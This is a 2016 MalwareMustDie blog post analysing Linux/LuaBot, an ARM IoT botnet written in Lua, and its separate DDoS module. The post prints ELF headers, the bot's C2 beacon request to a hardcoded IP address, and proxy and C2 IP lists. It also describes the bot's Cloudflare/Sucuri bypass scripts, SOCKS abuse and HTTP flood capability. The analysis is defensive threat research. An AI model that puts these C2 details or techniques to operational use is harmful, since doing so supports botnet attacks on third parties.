Background
On Mon, Aug 29, 2016 at 5:07 PM I received this ELF malware sample from a person (thank you!). There wasn't any detail or comment what so ever just one cute little ARM ELF stripped binary file with following data:
arm_lsb: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped hash: a220940db4be6878e47b74403a8079a1
This is a cleanly GCC: (GNU) 5.3.x compiled ARM arch ELF binary:
ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: ARM Version: 0x1 Entry point address: 0x11940 Start of program headers: 52 (bytes into file) Start of section headers: 995912 (bytes into file) Flags: 0x5000202, has entry point, Version5 EABI,All of the sections and headers are all there:Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 4 Size of section headers: 40 (bytes) Number of section headers: 15 Section header string table index: 14
Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 1] .init PROGBITS 000100b4 0000b4 00000c 00 AX 0 0 4 [ 2] .text PROGBITS 000100c0 0000c0 0d3bac 00 AX 0 0 8 [ 3] .fini PROGBITS 000e3c6c 0d3c6c 00000c 00 AX 0 0 4 [ 4] .rodata PROGBITS 000e3c78 0d3c78 00dde8 00 A 0 0 8 [ 5] .ARM.exidx ARM_EXIDX 000f1a60 0e1a60 000008 00 AL 2 0 4 [ 6] .eh_frame PROGBITS 000f1a68 0e1a68 000004 00 A 0 0 4 [ 7] .init_array INIT_ARRAY 00102000 0e2000 000004 00 WA 0 0 4 [ 8] .fini_array FINI_ARRAY 00102004 0e2004 000004 00 WA 0 0 4 [ 9] .jcr PROGBITS 00102008 0e2008 000004 00 WA 0 0 4 [10] .data PROGBITS 00102010 0e2010 011178 00 WA 0 0 8 [11] .bss NOBITS 00113188 0f3188 002850 00 WA 0 0 8 [12] .comment PROGBITS 00000000 0f3188 000011 01 MS 0 0 1 [13] .ARM.attributes ARM_ATTRIBUTES 00000000 0f3199 000031 00 0 0 1 [14] .shstrtab STRTAB 00000000 0f31ca 00007b 00 0 0 1 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align EXIDX 0x0e1a60 0x000f1a60 0x000f1a60 0x00008 0x00008 R 0x4 LOAD 0x000000 0x00010000 0x00010000 0xe1a6c 0xe1a6c R E 0x10000 LOAD 0x0e2000 0x00102000 0x00102000 0x11188 0x139d8 RW 0x10000 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10With a nice ARM attribute too:
Attribute Section: aeabi File Attributes Tag_CPU_name: "ARM10TDMI" Tag_CPU_arch: v5T Tag_ARM_ISA_use: Yes Tag_THUMB_ISA_use: Thumb-1 Tag_ABI_PCS_wchar_t: 4 Tag_ABI_FP_rounding: Needed Tag_ABI_FP_denormal: Needed Tag_ABI_FP_exceptions: Needed Tag_ABI_FP_number_model: IEEE 754 Tag_ABI_align_needed: 8-byte Tag_ABI_enum_size: int Tag_ABI_optimization_goals: Aggressive Size
The binary seemed to have signature of Sample Matrix RSA-4096 Certificate, trailing this further, I found out it's the trace of the MatrixSSL certification used for the bot client to perform the secure HTTPS connection. I previously wrote this as a signature, corrected after being sure.
00E9897 | Sample Matrix RSA-4096 Certificate Authorit 00E98CF | US1 00E98DC | WA1 00E98E9 | Seattle1 00E98FB | INSIDE Secure Corporation1 00E991F | Test0 00E9927 | 140324164110Z 00E9936 | 170323164110Z0 00E9946 | 1+0) 00E9950 | "Sample Matrix RSA-4096 Certificate1 00E997E | US1 00E998B | WA1 00E9998 | Seattle1"0 00E99AA | INSIDE Secure Corporation1 00E99CE | Test0Also the binary is having MatrixSSL's code libraries for encryption operation.
Well, a signed ELF binary with encryption support is absolutely okay right? Unless .. what if along with that you see a hardcoded coder's message like this? ↓
View the binary's ASCII in the last part and you'll see the first email address.
It seems the sender of the sample was finding this malware already infected a system, since I figured the self-copied name on post infection is as per the sample's filename sent:
And this is why this "adventure" was started..
What is this ELF?
This is a new ELF botnet malware, coded in Lua [link] language ( @$LuaVersion: Lua 5.3.0). It is the first time to find an lua language ELF compiled malware, specifically in ARM cpu architecture, so let's call it as "Linux/LuaBot".
Below is the summary for this verdict:
The lua language used details can be seen in these viewable .lua source files traced, along with the lua runtime libaries and some botnet commands used:
The botnet commands can be traced in these called functions:
The binary was still in fully undetected (in short: FUD) state when I wrote this analysis:
At the time I firstly reverse-engineered ELF Linux/Luabot, I was on making short announcement & awareness about this new threat:
But yet, that report is not enough to explain the threat, there are a lot of things in this malware that can not be explained in one picture....
The following sections will explain more details on the threat..
How Linux/LuaBot infects us (initial steps)
It will be a lie to say that I know how this sample firstly infected a Linux host, since I only received the post-infected form of the sample. But don't worry, by some ELF analysis I can explain a bit on how it works as per followings:
"Hi. Mail me if u want: xxxxx@xxx.ru"
I don't email him but I was checking these email addresses in Yandex Mail, by trying to make new account under @yandex.ru using these accounts, and someone is using it already. Meaning, the email addresses are there and we have high possibility owned by the bot coder. Picture? ↓
bbot_mutex_203508which 203508 in the part of mutex is hard-coded number in this ELF (see screenshot of arm_lsb filename) and it is actually the version of this botnet, I'll explain and snip about this version matter in the next part of this post.
The second forked process is the main activity of this malware, and does malicious activities:
call getdents64(%d, { {d_ino=1, d_off=1, d_type=DT_DIR, d_reclen=24, d_name="."} {d_ino=1, d_off=2, d_type=DT_DIR, d_reclen=24, d_name=".."} : {d_ino=4026532032, d_off=11, d_type=DT_REG, d_reclen=24, d_name="kmsg"} {d_ino=4026532031, d_off=12, d_type=DT_REG, d_reclen=32, d_name="softirqs"} {d_ino=4026532030, d_off=13, d_type=DT_REG, d_reclen=32, d_name="version"} {d_ino=4026532029, d_off=14, d_type=DT_REG, d_reclen=32, d_name="uptime"} {d_ino=4026532028, d_off=15, d_type=DT_REG, d_reclen=24, d_name="stat"} {d_ino=4026532027, d_off=16, d_type=DT_REG, d_reclen=32, d_name="meminfo"} {d_ino=4026532026, d_off=17, d_type=DT_REG, d_reclen=32, d_name="loadavg"} {d_ino=4026532025, d_off=18, d_type=DT_REG, d_reclen=32, d_name="interrupts"} {d_ino=4026532024, d_off=19, d_type=DT_REG, d_reclen=32, d_name="devices"} {d_ino=4026532023, d_off=20, d_type=DT_REG, d_reclen=32, d_name="cpuinfo"} {d_ino=4026532022, d_off=21, d_type=DT_REG, d_reclen=32, d_name="consoles"} {d_ino=4026532021, d_off=22, d_type=DT_REG, d_reclen=32, d_name="cmdline"} {d_ino=4026532020, d_off=23, d_type=DT_REG, d_reclen=32, d_name="locks"} {d_ino=4026532019, d_off=24, d_type=DT_REG, d_reclen=32, d_name="filesystems"} {d_ino=4026532018, d_off=25, d_type=DT_REG, d_reclen=32, d_name="slabinfo"}This technique is also very handy to secure your process from some malicious infection, I am doing it myself to analyze some ELF rootkits or kernel modular malware that hooked processes.
Intermezzo: Some of my ELF malware analysis protip:
For the crooks who think that I use any kind of *trace scheme for reading your UNIX malcode's work, well.. dream on! You can do harder or hit the school chair once again, because I never trust ptrace for such purpose (except for my NIX related development debugs). For the good folks, please see my previous published presentation in ELF Reversing Workshop, explaining a nice trick I use to beat malcoder's scheme in evading debugging tricks on infecting UNIX systems. This know-how was successfully presented, demo and transferred to senior reversers in my community.
"Bot id is \t{IFACE-NAME}-{IPADDR}-{NUM}[10-9]{6}:{Version}"The formula can be seen if we hack further, with the lua script traces:
0000 0000 2240 0000 2028 2564 2b29 2040 ...."@.. (%d+) @ 6262 6f74 5f6d 7574 6578 5f28 2564 2b29 bbot_mutex_(%d+) 0000 0000 0000 0000 f000 0000 d101 0000 ................So it seems that the coder is forming the ID and mutex with the version value intact.
In relation with the data above, we know how the Luabot will not duplicate the infection. These are lua scripts from the reversed lua script, formed as similar as per below:
Yes, it checks for the version of the current running botnet platform before it daemonized itself. If it found the current running version is older, LuaBot will exit the current running instance.
0x012b7390 0000 0000 726f 6375 676f 6f67 6c65 2e63 ........google.c 0x012b73a0 6f6d 0034 343a 2063 3100 0000 3100 0000 om.44: c1...1... 0x012b73c0 0000 0000 726d 6973 6661 6365 626f 6f6b ........facebook 0x012b73d0 2e63 6f6d 0000 0000 3100 0000 3100 0000 .com....1...1... 0x012b73f0 0000 0000 c09e 0200 6261 6964 752e 636f ........baidu.co 0x012b7410 e073 2b01 0402 0000 c1c4 d41a 0a00 0000 .s+............. 0x012b7420 0000 0000 c8af 2c01 616d 617a 6f6e 2e63 ......,.amazon.c 0x012b7430 6f6d 0001 a076 2b01 c040 2b01 e040 2b01 om...v+..@+..@+. 0x01296de0 0006 000c 0977 696b 6970 6564 6961 036f .....wikipedia.o 0x01296df0 7267 0000 0100 01c0 1600 0200 0100 02a3 rg..............which are google.com, facebook.com, baidu.com, amazon.com and wikipedia.org.
69.171.239.12 | a.ns.facebook.com. |32934 | 69.171.239.0/24 | FACEBOOK | US | facebook.com | Facebook Inc. 192.12.94.30 | e.gtld-servers.net. |36629 | 192.12.94.0/24 | MGTLD | US | verisign.com | Verisign Global Registry Services 198.41.0.4 | a.root-servers.net. |36625 | 198.41.0.0/24 | KGTLD | US | verisign-grs.net | VeriSign Infrastructure & Operations 202.108.22.220|xd-22-220-a8.bta.net.cn.|4808 | 202.108.0.0/18 | CHINA169 | CN | chinaunicom.com | China Unicom Beijing Province Network 204.74.108.1|pdns1.ultradns.net.|12008 | 204.74.108.0/24 | ULTRADNS | US | ultradns.com | UltraDNS CorpThe purpose of these checks is understandable, the Linux/Luabot is making sure that after infecting a node it has the intenet connection or not. And to avoid suspicious traffic alert it queries SNS in every possible topology internet location. At this stage we can see that the coder seems has no intention to infect Russia Federation or East Europe related network since there is no SNS services in the territory are in check, like VK or Yandex or others. Even it is clearly made by someone who use Russian language (hint: @yandex.RU). Interesting.
connect(8, {sa_family=AF_INET, sin_port=htons("1085"), sin_addr=inet_addr("217.23.3.47")}, 16)And then, followed by the HTTP request to port TCP/80 of the same IP address:
GET "/bot?bid={IFACE}-{IPADDR}-{NUM}0123456:{MUTEX} HTTP/1.1\r\n" Connection: "close\r\n" Host: "217.23.3.47\r\n\r\n"The origin of this CNC:
217.23.3.47|s4.mailuprising.com.|49981 | 217.23.0.0/20 | WORLDSTREAM | NLI recorded this CNC connection session in PCAP with its encrypted form replies from 217.23.3.47
As you can see in the reply traffic part, it contains data of specific format of:
script|{Encrypted data}|endscript <br>
The thing is, maybe LuaBot coder doesn't think reverser can decode this data, well..
To be beautified into:
These are the data to be passed to the CNC sending function coded in Lua, that's using socket function to communicate with any of those nodes. It is suggested the access to open SOCKS which is specifically bound to those IP.
The listed IP addresses are all nodes of AS4998 from 109.236.80.0/20, 217.23.0.0/20 and 93.190.140.0/22 belong to a dedicated server hosting service WorldStream.NL, the customer layer service IP, in Netherlands. It looks like these IP is reserved by the botnet coder for a purpose, like maybe as a failover for CNC, or open socks for a merchandise. WorldStraem Hosting in Netherlands should be warned for their abusive user, which is possibly originated (strongly) from Russia.
There is another interesting data found, a botnet management trace
PS: There are also some passed values like (traced sent from the lua interpreter to C bind commands), which is used to monitor the bot performance like:
loadavg meminfo uptime speed ioportsAnd now we know exactly why Linux/Luabot is using getident64() for reading all of these..
Following the decoder trail a bit further, to find these IP to be connected just once and cleaned those up later on...this doesn't look good..
Which leads to the different IP addresses from:
185.14.30.214 | anna.me. |50673 | 185.14.28.0/22 | SERVERIUS | NL | itl.net.ua | ITL Company 46.22.211.46 | |34702 | 46.22.208.0/20 | WAVECOM | EE | wavecom.ee | Aktsiaselts WaveCom 142.4.215.49 | 4.3.dedicated.sh. |16276 | 142.4.192.0/19 | OVH | FR | ovh.com | OVH Hosting IncThese IP are involved to the botnet activity, could be the victim for the infection or the attack, it is maybe wise to check or contact these nodes' authority further.. There is more explanation of this code in the "What is the purpose of Linux/LuaBot?" section.
Okay, so far we found many network infrastructure were actually prepared by this botnet...let's continue with the malware process:
bind(8, {sa_family=AF_INET, sin_port=htons("11833"), sin_addr=inet_addr("0.0.0.0")} listen(8, 10240)
Noted, the UDP/41029 is for outbound DNS request, is insignificant and can be changed.
CNC traffic and Lua coded botnet functions
I guess all of the related data for the CNC traffic already being explained much in the above section, so in this part I just paste the overall CNC traffic monitored during the initial infection of Linux/LuaBot, which hoping can be used as reference on the infection, and proof of the analysis.
There are plenty trace of lua code can be found in this single cute tiny ARM ELF, but my favorite is the way Linux/LuaBot sends HTTP request to the remote sites, for the CNC purpose or proxy purpose.
The decrypted stub that contains IP bulk are data that is parsed to the hardcoded lua XMLHttpRequest function. The reversing effort (read: hacks) shows the below coded API in lua "pseudo function" used for the purpose:
So now we know why the MatrixSSL signature is in there, it is used for having the HTTPS connection to any web server using this API.
Below are some nice catches that's maybe worth to dig more :)
You can see the arrays say: "Stop breaking" lol :) ..sorry, it's a bit too late!
Okay, enough joking, what's this trace? If you ever see how some skid in hackerland trying to bypass Cloudflare protected sites by some javascript, here is one, extracted from this LuaBot. A ping! to Cloudflare to be aware.
Well, you can easily put anything you want in a botnet if it is based on scripts, can't you?
Next..let's ping Sucuri team for this:
This is also the same type as above figure. traces of usage some JS, this part is for Sucuri protection. See the next section for the detail..
The coder loves bad vocabulary.. :)
I think he described his coded malware very well in one word above :D
What is the purpose of Linux/LuaBot?
In the function at 0x07E2E0 on the reversed code, there are code that usually can be found in the DNS query handling tool, or name server resolver, as per snips below:
The code is originated from resolver.lua and it is interacted with the udp.lua, as per its name suggesting a lua library used to form User Datagram Protocol function and struct, This is showing the Linux/LuaBot has its own lua resolver function for the DNS query, and has ability to form its own UDP packet to be sent to any destination, so as its capability to act as independent DNS resolver. Keep this finding in mind, and go look deeper into the source codes extracted, you'll find the HTTP connectivity function, SOCKS server, code for creation sockets for performing TCP along with the mentioned UDP, with some supported libraries intact. If you know what I mean: This botnet was designed doesn't need infected system's resource at all to perform its operation!
There's also the telnet.lua codes compiled after interpreted via lua in this ELF, which is after being reversed it seems to be a simple telnet basic communication functions interpreted in lua language (that can be found many references in the internet) that may allow Linux/LuaBot to communicate remotely through this protocol.
Other functions like encoding/decoding coded in base64, a usage of utilizing json operation with its execution to several purpose (I don't want to disclose this yet), and other lua sources are for supporting the botnet operational activity for this malware.
And, so far...I can't proof any code that can triggered functions in a hostile action, like, being called for flooding or DDoS for example. But, since what I have now is only a one tiny cute ARM file sample, I may miss something with only so few reference I got..
Another thing that I don't seek deeper is the "penetrate_sucuri" part, a symbol (a reversed lua function) traced to be coded in the lua source file: *cough* "checkanus_sucuranus.lua" and there's also "checkanus.lua", which I took only a peek for it, it forms (http) action to a defined target. I'll leave the engineer experts on Sucuri team friends to analyze that part deeper, but by its name it may suggested to a penetration or a bypassing method into their protection scheme.
EDIT: see the below section to see how the Sucuri or Cloudflare cracking script is used by Linux/Luabot.
Okay..okay..So what's the purpose of this malware??
This malware is served as botnet aiming ARM architecture IoT Linux machines, and it is built with encrypted C2 communication protocol. The botnet is using MatrixSSL on ed25519 crypto to for the overall CNC communication commands. The communication data is also XOR masked to prevent textual easy readings or leaks. The concept of the encryption used is not that savvy by my personal opinion, but by signing its CNC communication commands is preventing Linux/Luabot CNC communication from being hijacked easily, which is the purpose for usage of MatrixSSL on this botnet.
If you see carefully in the above description, there are the "cmdline", and "cmdline args" spotted in several parts in ELF reversed code, forensics results and also source code trace too. The hacker can do a lot of things with it via a crypted remote commands pushed to his bots through this command interface, so this bot can be used to execution for the lua script. So one of the botnet functionality is the remote execution via this interface. For instance, you can execute the bot to perform an action by the command of:
./LuaBot_filename [path]{Luascript_filename}.lua
Linux/Luabot works in lua script as modular basis, seeing by the compiling trace and size, it was built from what I suspect from a native Lua compiler (see reference in latest version of Lua) with libc. It is enriched with the possible additional, or modification, and improvement as a framework that can be modified in a snap thus to be pushed to the next infection chain. This is what makes the design for botnet is flexible, and all can be done in scripting mode.
EDIT: I was just receiving request to PoC the argument execution, and also from other email asked to post some scripts I reversed, for the command argument execution I can share it as per below, these are a reversed code and it goes something like below, you'll get the idea:
To make a further amazement, the Linux/LuaBot is not only having one interpreter, which is lua, mainly, obviously, but it has the javascript interpreter that can execute the javascript commands that is needed to crack some protected sites like Cloudflare or Sucuri. Some traces I showed above are part of the proof for this concept. For this purpose. the coder seems making much effort to integrate V7 embedded JavaScript engine inside, The JavaScripts integrated in the Lua scripts with, sorry, *cough* "*anus*.lua" scripts part is meant for bypassing Sucuri protected site or to evade Cloudflare protection sites, so show the origin IP location. This is also suggesting offensive function.
I kept "this" information in secret before being very sure before writing it, but I think I now figured how the coder sells this botnet, by what service. The merchandise of selling is mostly the created or served SOCKS itself. As we are all know that many of the blackhat crooks are using SOCKS for proxy servicing their daily activity like for cushion to send spams, or trafficking for a malware infection, cushion for exploiting a site or device, and so on. And the config pushed to the Linux/LuaBot contains the latest SOCKS data to be served for that purpose.
In one of pictures previously shown, here I pasted it again below, explaining a great deal on how the coder (which also the herder) is using these socks practically:
..this is a nice demonstration for a temporary usage of SOCKS itself for some bad purpose. In the case it's showing the temporary usage for some defined SOCKS to be leaned up afterward. Such command like this that can be pushed by the command from the CNC to each of the Linux/LuaBot client. The shown picture is explaining the attempt to use SOCKS for cushion to illegal activities like: attacking the mentioned IP addresses for the bad purpose or hacking and so on... Linux/LuaBot is capable to serve as a framework providing bad guys with this cushion.
Another thing that I am quite certain too now is, different to the most ELF malware or Linux botnet spotted before, which are mostly communicating to the remote site via web protocol (to download something, or to fetch some data) is using wget (either busybox or static ones), or maybe using cURL library/command, LuaBot is utilizing the MatrixSSL and XMLHttpRequest to make it possible to communicate to any web remote site on his own native code and with is having full support on SSL encryption (via HTTPS). I'd say this is smart.
So far we think the coder is making his point that he can create fully undetected ELF botnet with encrypted communication easily from using lua script/language aiming IoT, and he is promoting Linux/LuaBot that can be used for "Botnet As a (malicious) Service" by selling SOCKS connection and also serving the et cetera payloads. That's why he put some of his email contacts openly...he tries to say that "he needs a job".
There is a serious flaw in this botnet, which made me possible to reverse most of the things, for the security purpose let this be a secret, also, there are plenty of undone and unused parts, along with some unnecessary traced codes too. Our team is now having a strong opinion that parts of the sample is on development stage.
Please take the rain check for these part as additional information, I will update information upon new reversing result confirmed.
Update:
The "separate" ELF DDoS "module" for Linux/LuaBot
Linux/Luabot DDoS effort using ELF binary module
Approximately 4 hours ago the same person was sending another ARM in ELF stripped sample, thank you again.
This sample [link] is explaining the "missing link" of the DDoS function expected from this botnet. This module was coded in Lua and using the same static compilation environment, with zero detection ratio too. This additional ELF could be "the payload" that we are waiting for. This module is explaining a lot of detail on how the attack is performed, a simple download and execution command executed by the infected nodes from remote access via shell or internal command line interface is enough to trigger this attack.
Below is the file details:
:> !file dcc dcc: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped :> !md5sum dcc 8e7637d72e522cb52012c02eb8ddfdbe dcc :> date Tue, 06 Sep 2016 14:14:09 GMT + 0 :>
The targeted site is hard coded in this ELF module, as per seen below:
HTTP (L7) GET headers used for flooding is generated with following composition:
The attack process are mainly managed in main function at [0x00010ac0] and the loop for flood process can be confirmed between the range of address described below;
Noted, the binary needs specific "environment", if you're inexperienced with handling it, you may meet a SIGILL (sig 4) during runtime if the condition is unmatched.
:> dc [+] signal 4 aka SIGILL received 0 :>
The interesting trace found in the DoS module ELF is as per below screenshot, a self explanatory.
Linux/Luabot DDoS effort using the Lua script module
As per explained in the previous parts, Lua script can be executed by Linux/LuaBot via argument for the command line execution too. The PoC for it can be reversed from the botnet itself like per following reformed Lua script. I put a lot of comments in the picture for understanding how it does:
Thank's for requesting me to post this script.. I believe I had all of the malicious aspects and parts reversed well by now.
Epilogue and follow up
2023155 - ET TROJAN Linux/LuaBot CnC Beacon 2023156 - ET TROJAN Linux/LuaBot CnC Beacon ResponseThank you Emerging Threat Labs [link] engineers!
If you see the binary that works in similar malicious way in your Linux box please kindly share us the sample by uploading them via our sample uploader-->[link]
Thank you very much for the internet media awareness
We, MMD thank our good friends in internet media for your fast awareness of this threat:
1. Softpedia [link]
2. SC Magazine [link]
3. Xakep .RU [link]
4. Security News .GR [link]
5. SecurityLab .RU [link]
6. Information Security News[link]
7. Infosec Island [link]
8. ISS Source [link]
9. Security Affairs [link]
and others who are not mentioned yet (I am sorry!)
Stay safe friends!
#MalwareMustDie
Reversed, written and analyzed by @unixfreaxjp [link], September 5th 2016.